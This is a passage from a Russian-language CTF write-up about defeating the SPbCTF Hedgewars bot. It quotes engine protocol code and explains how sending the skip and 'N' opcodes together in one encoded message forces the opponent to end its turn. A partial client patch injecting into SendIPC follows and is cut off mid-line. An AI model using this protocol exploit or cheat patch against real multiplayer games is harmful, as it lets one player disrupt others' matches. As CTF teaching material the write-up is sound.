\u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044e - \u0434\u043b\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b h        isMalformed _ _ = False<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0417\u0430\u043c\u0435\u0447\u0430\u0435\u043c, \u0447\u0442\u043e \u0438\u0437 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0437\u0434\u0435\u0441\u044c &#8212; \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043c\u0430\u0442\u0447\u0435, legalMsgs \u0438 checkNetCmd. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f \u0432 checkNetCmd, \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043e\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043e\u043f\u043a\u043e\u0434\u0430 h &#8212; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u043a\u043e\u0434\u044b \u0441\u043b\u0435\u043f\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0432\u043e \u0432\u0441\u0435 \u0434\u0432\u0438\u0436\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0438\u0433\u0440\u0435. \u0421\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a\u0438\u0435 \u043e\u043f\u043a\u043e\u0434\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442, \u043a\u0430\u043a\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u0443 \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u043c \u0434\u0430\u0432\u0430\u0442\u044c, \u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0432 \u0434\u0432\u0438\u0436\u043a\u0435:<\/p>\n<pre><code>',': ParseCommand('skip', true); \/\/ \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u043d\u0430\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0441\u043a\u0438\u043f\u0430<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<pre><code>procedure chSkip(var s: shortstring); \/\/ \u043f\u0440\u0438 \u043f\u043e\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0434\u0432\u0436\u0438\u043e\u043a \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u043a\u0442\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b \u0441\u043a\u0438\u043f - \u0438\u0433\u0440\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0435\u0439\u0447\u0430\u0441 \u0445\u043e\u0434\u0438\u0442 \u0438\u043b\u0438 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0434\u0435\u0442begins:= s; \/\/ avoid compiler hintif not isExternalSource then    SendIPC(_S','); \/\/ \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0435\u0441\u043b\u0438 \u043d\u0430\u0436\u0430\u043b \u0438\u0433\u0440\u043e\u043a. (\u0447\u0442\u043e\u0431\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u043d\u044f\u043b\u0438 \u0447\u0442\u043e \u043e\u043d \u0441\u043a\u0438\u043f\u0430\u0435\u0442 \u0445\u043e\u0434) \u0424\u043b\u0430\u0433 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0438\u0432\u0441\u0438\u043c\u043e \u043e\u0442 \u044d\u0442\u043e\u0433\u043e(\u043d\u0438\u0436\u0435)uStats.Skipped;skipFlag:= true; \/\/ \u0444\u043b\u0430\u0433 \u0441\u043a\u0438\u043f\u0430 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435ScriptCall('onSkipTurn');end;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0417\u0430\u043f\u044f\u0442\u0430\u044f \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0432\u0430\u0439\u0442\u043b\u0438\u0441\u0442\u0435, \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u043e\u043f\u043a\u043e\u0434 \u043d\u0435 \u0432 \u0441\u0432\u043e\u0439 \u0445\u043e\u0434, \u0438 \u0434\u0432\u0438\u0436\u043e\u043a \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0435\u0433\u043e! \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0430\u043a\u0446\u0438\u044e \u043d\u0430 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u043b\u0430\u0433\u0430:<\/p>\n<pre><code>if skipFlag then    begin    if TagTurnTimeLeft = 0 then        TagTurnTimeLeft:= TurnTimeLeft; \/\/ \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u0445\u043e\u0434\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b(\u0442\u043e \u0435\u0441\u0442\u044c \u0435\u0436 \u043d\u0430\u0436\u0430\u043b \u0441\u043a\u0438\u043f, \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0434\u0438\u0442). \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e - 1v1    TurnTimeLeft:= 0;\/\/ \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043a\u0438\u043f \u0444\u043b\u0430\u0433\u0430 \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u044f \u0445\u043e\u0434\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0433\u0440\u043e\u043a\u0430 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435    skipFlag:= false;    inc(CurrentHedgehog^.Team^.stats.TurnSkips);    end;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041e\u0431\u043d\u0443\u043b\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0445\u043e\u0434\u0430 \u0438 \u0435\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 (\u043d\u0435 \u0431\u0443\u0434\u0443 \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u0441\u044c \u0438\u0433\u0440\u043e\u0432\u043e\u0439 \u0446\u0438\u043a\u043b, \u043d\u043e \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e\u043a\u0430 TurnTimeLeft &gt; 0) \u0445\u043e\u0434\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0433\u0440\u043e\u043a\u0430 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435. \u0410 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043d\u0435 \u0432 \u0441\u0432\u043e\u0439 \u0445\u043e\u0434 -&gt; \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0445\u043e\u0434 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430 \u043d\u0435 \u0432 \u0441\u0432\u043e\u0439 \u0445\u043e\u0434! \u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u044d\u0442\u043e \u0442\u043e, \u0447\u0442\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e.<\/p>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0435\u043d\u044c\u043a\u043e\u0435 \u0447\u0438\u0442 \u043c\u0435\u043d\u044e (\u043a\u0441\u0442\u0430\u0442\u0438, \u0432\u043e\u0442 \u043a\u0430\u043a \u043e\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442): <\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/61\/b4\/4a\/61b44ac2ec6fe1f6cbc894939d835a85.png\" alt=\"\u0427\u0438\u0442-\u043c\u0435\u043d\u044e\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/61\/b4\/4a\/61b44ac2ec6fe1f6cbc894939d835a85.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/61\/b4\/4a\/61b44ac2ec6fe1f6cbc894939d835a85.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0427\u0438\u0442-\u043c\u0435\u043d\u044e<\/figcaption><\/div>\n<\/figure>\n<p>\u041a \u0441\u0432\u043e\u0435\u043c\u0443 \u0432\u0435\u043b\u0438\u043a\u043e\u043c\u0443 \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u043f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u043e\u0442 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:<\/p>\n<pre><code>[SPbCTF-Hedgie-02] oops, queue error. in buffer: , (4910 &gt; 4904) \u2014 crashes do not score![SPbCTF-Hedgie-02] you can't talk on my behalf, that trick just cost you the round. you must actually defeat me!<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0433\u043e\u043d\u044f\u0432 \u0442\u0435\u0441\u0442\u044b, \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c \u0447\u0442\u043e \u0432 1\/10 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0442\u0440\u044e\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0431\u043e\u0442 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u0432\u043e\u0439 \u0445\u043e\u0434 &#8212; \u0443\u0436\u0435 \u043f\u0440\u043e\u0433\u0440\u0435\u0441\u0441, \u043d\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 &#8212; \u0442\u0430\u043a\u0430\u044f \u043d\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0434\u0430\u0441\u0442 \u043d\u0430\u043c 50+% \u043f\u043e\u0431\u0435\u0434, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u044b\u0433\u0440\u0430\u0442\u044c \u0431\u043e\u0442\u0430 \u043c\u0438\u043d\u0438\u043c\u0443\u043c 7 \u0438\u0437 14 \u0440\u0430\u0437. \u0421 \u043e\u0431\u044b\u0447\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438 \u0445\u043e\u0434\u043e\u0432 (\u0432\u044b\u0441\u0442\u0440\u0435\u043b, \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0435, \u0441\u043a\u0438\u043f) \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u0439\u043c\u0441\u0442\u0430\u043c\u043f \u043a\u043e\u043c\u0430\u043d\u0434\u044b &#8212; \u0432\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u043a \u0442\u0438\u043a\u0430\u043c:<\/p>\n<pre><code>  SDLNet_Write16(GameTicks, @s[Succ(byte(s[0]))]);  inc(s[0], 2);<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u043b\u044f skip \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0444\u0440\u0435\u0439\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code>  [03][,][tick16]<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0444\u0440\u0435\u0439\u043c, \u0434\u0432\u0438\u0436\u043e\u043a \u043a\u043b\u0430\u0434\u0451\u0442 \u0435\u0433\u043e \u0432 FIFO-\u043a\u043e\u043c\u0430\u043d\u0434:<\/p>\n<pre><code>  loTicks := SDLNet_Read16(...);  AddCmd(loTicks, s);<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0410 \u043f\u043e\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 timestamp \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0435\u0433\u043e GameTicks:<\/p>\n<pre><code>  GameTicks = (hiTicks &lt;&lt; 16) + headcmd^.loTime<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u044b\u0447\u043d\u0430\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0443\u043c\u0438\u0440\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u043c\u044b \u043d\u0435 \u0443\u0433\u0430\u0434\u0430\u0435\u043c \u0442\u0438\u043a (\u0430 \u043e\u043d\u0438 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0431\u044b\u0441\u0442\u0440\u043e, \u0447\u0442\u043e\u0431\u044b \u043c\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u043e\u0444\u0444\u0441\u0435\u0442).<\/p>\n<p>\u0418\u0437\u0443\u0447\u0438\u0432 \u0435\u0449\u0451 \u043a\u043e\u0434 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u0438 \u0434\u0438\u0441\u043f\u0430\u0442\u0447\u0430 \u0445\u043e\u0434\u043e\u0432, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043e\u043f\u043a\u043e\u0434 N, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u043e\u0436\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0432\u0430\u0439\u0442\u043b\u0438\u0441\u0442\u0435:<\/p>\n<pre><code>        'N': begin            tmpflag:= false;            lastTurnChecksum:= SDLNet_Read32(@headcmd^.str[2]);            AddFileLog('got cmd \"N\": time '+IntToStr(hiTicks shl 16 + headcmd^.loTime))             end;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 &#8212; \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 tmpflag<\/p>\n<pre><code>while (headcmd &lt;&gt; nil)    and (tmpflag or (headcmd^.cmd = '#')) \/\/ '#' is the only cmd which can be sent within same tick after 'N'    and ((GameTicks = LongWord(hiTicks shl 16 + headcmd^.loTime))        or (headcmd^.cmd = 's') \/\/ for these commands time is not specified        or (headcmd^.cmd = 'h') \/\/ seems the hedgewars protocol does not allow remote synced commands        or (headcmd^.cmd = '#') \/\/ must be synced for saves to work        or (headcmd^.cmd = 'b')        or (headcmd^.cmd = 'F')        or (headcmd^.cmd = 'G')) do    begin    case headcmd^.cmd of        '+': ; \/\/ do nothing - it is just an empty packet        '#': begin            AddFileLog('hiTicks increment by remote message');            inc(hiTicks);            end;        'L': ParseCommand('+left', true);        ... - \u0442\u0443\u0442 \u043a\u0435\u0439\u0441\u044b \u0434\u043b\u044f \u043f\u0430\u0440\u0441\u0430 \u043a\u043e\u043c\u0430\u043d\u0434        '1'..'5': ParseCommand('timer ' + headcmd^.cmd, true);        else            if (byte(headcmd^.cmd) &gt;= 128) and (byte(headcmd^.cmd) &lt;= 128 + cMaxSlotIndex) then                ParseCommand('slot ' + char(byte(headcmd^.cmd) - 79), true)                else                OutError('Unexpected protocol command: ' + headcmd^.cmd, True)        end;    RemoveCmd    end;if (headcmd &lt;&gt; nil) and tmpflag and (not CurrentTeam^.hasGone) then    checkFails(GameTicks &lt; LongWord(hiTicks shl 16) + headcmd^.loTime,            'oops, queue error. in buffer: ' + headcmd^.cmd +            ' (' + IntToStr(GameTicks) + ' &gt; ' +            IntToStr(hiTicks shl 16 + headcmd^.loTime) + ')',            true);<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0442\u043e \u0435\u0441\u0442\u044c \u0446\u0438\u043a\u043b \u0438\u0434\u0435\u0442, \u043f\u043e\u043a\u0443\u0434\u0430 tmpflag \u0430\u043a\u0442\u0438\u0432\u0435\u043d, \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 N \u0435\u0433\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442. \u0418 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 &#8212; \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 encoded message (\u043f\u0440\u043e\u0441\u0442\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 b64) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043f\u043a\u043e\u0434\u043e\u0432 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0437\u0430 \u0440\u0430\u0437. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043f\u0435\u0440\u0435\u0434 \u0438 \u0441\u043a\u0438\u043f\u043d\u0443\u0442\u044c \u0445\u043e\u0434. \u0414\u0438\u0441\u043f\u0430\u0442\u0447 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u0446\u0438\u043a\u043b\u0430 \u043f\u043e \u043e\u0447\u0435\u0440\u0435\u0434\u0438 &#8212; RemoveCmd \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438\u0437 encoded message, \u0438 \u0446\u0438\u043a\u043b \u0435\u0451 \u0434\u0438\u0441\u043f\u0430\u0442\u0447\u0438\u0442 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u043e\u043c\u0435\u0440\u0430 \u0442\u0438\u043a\u0430 \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443. \u042d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0435\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0434\u0438\u0441\u043f\u0430\u0442\u0447\u0430 \u0412\u0421\u0415\u0413\u041e encoded message. \u0417\u0434\u0435\u0441\u044c \u0443\u0436\u0435 \u0432 \u0433\u043e\u043b\u043e\u0432\u0443 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 &#8212; \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e EM 2 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 &#8212; ,N . \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u0441\u043a\u0438\u043f \u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u043e\u043c \u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0435\u0433\u043e \u0445\u043e\u0434\u0430: \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044f\u044f \u0441\u0442\u0435\u0439\u0442 \u043c\u0430\u0448\u0438\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0430 \u0432\u043e \u0432\u0441\u0435\u043c, \u043a\u0440\u043e\u043c\u0435 \u043d\u043e\u043c\u0435\u0440\u0430 \u0442\u0438\u043a\u0430 (\u043f\u043e\u0441\u043b\u0435 \u0441\u043a\u0438\u043f\u0430 \u043e\u043d \u043d\u0430\u0447\u043d\u0435\u0442 \u0441\u0447\u0438\u0442\u0430\u0442\u044c, \u0447\u0442\u043e \u0442\u0438\u043a\u043e\u0432 \u043d\u0430 \u0445\u043e\u0434 \u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c, \u0430 \u043f\u043e\u0441\u043b\u0435 N CurrentTeam^.hasGone \u0441\u0442\u0430\u043d\u0435\u0442 true \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u0439\u0434\u0435\u0442 \u0443\u0436\u0435 \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430, \u0431\u0435\u0437 \u0441\u0432\u0435\u0440\u043a\u0438).<\/p>\n<p>\u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0447\u0438\u0442, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u043d\u0435\u0441\u043b\u043e\u0436\u043d\u043e &#8212; \u0432 SendIPC (\u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0447\u0435\u0440\u0435\u0437 IPC \u0441 \u043f\u043b\u044e\u0441\u043e\u0432\u0441\u043a\u0438\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c) \u0432 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u0447\u0435\u043a\u0441\u0443\u043c\u043c\u043e\u0439 (\u043f\u043e \u0441\u0443\u0442\u0438, \u043d\u0430\u0448 \u043a\u043b\u0438\u0435\u043d\u0442 \u0443\u0436\u0435 \u0441\u043e\u0431\u0440\u0430\u043b N \u0437\u0430 \u043d\u0430\u0441) \u0438\u043d\u0436\u0435\u043a\u0442\u0438\u043c \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b:<\/p>\n<pre><code>procedure SendIPC(s: shortstring);beginif IPCSock &lt;&gt; nil then    begin    if s[0] &gt; #251 then        s[0]:= #251;    SDLNet_Write16(GameTicks, @s[Succ(byte(s[0]))]);    AddFileLog('[IPC out] '+ sanitizeCharForLog(s[1]));    inc(s[0], 2);    if isSyncedCommand(s[1]) then \/\/ \u0437\u0434\u0435\u0441\u044c \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 - \u0438\u043d\u0436\u0435\u043a\u0442\u0438\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0441\u044e\u0434\u0430        begin        if sendBuffer.count + byte(s[0]) &gt;= cSendBufferSize then            flushBuffer();        Move(s, sendBuffer.buf[sendBuffer.count], byte(s[0]) + 1);        inc(sendBuffer.count, byte(s[0]) + 1);        if (s[1] = 'N') or (s[1] = '#') then            flushBuffer();        end else        SDLNet_TCP_Send(IPCSock, @s, Succ(byte(s[0])))    endend;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u0430\u0442\u0447 \u0438\u0434\u0451\u0442 \u0441\u044e\u0434\u0430, \u0432\u043e\u0442 \u043e\u043d:<\/p>\n<pre><code>    if isSyncedCommand(s[1]) then        begin        skipBeforeN:= (s[1] = 'N') and (not GameOver)                   and (GetEnvironmentVariable('ZN_AUTO_SYNC_SKIP_BEFORE_N') &lt;&gt; '0'); \/\/ \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c, \u0447\u0442\u043e 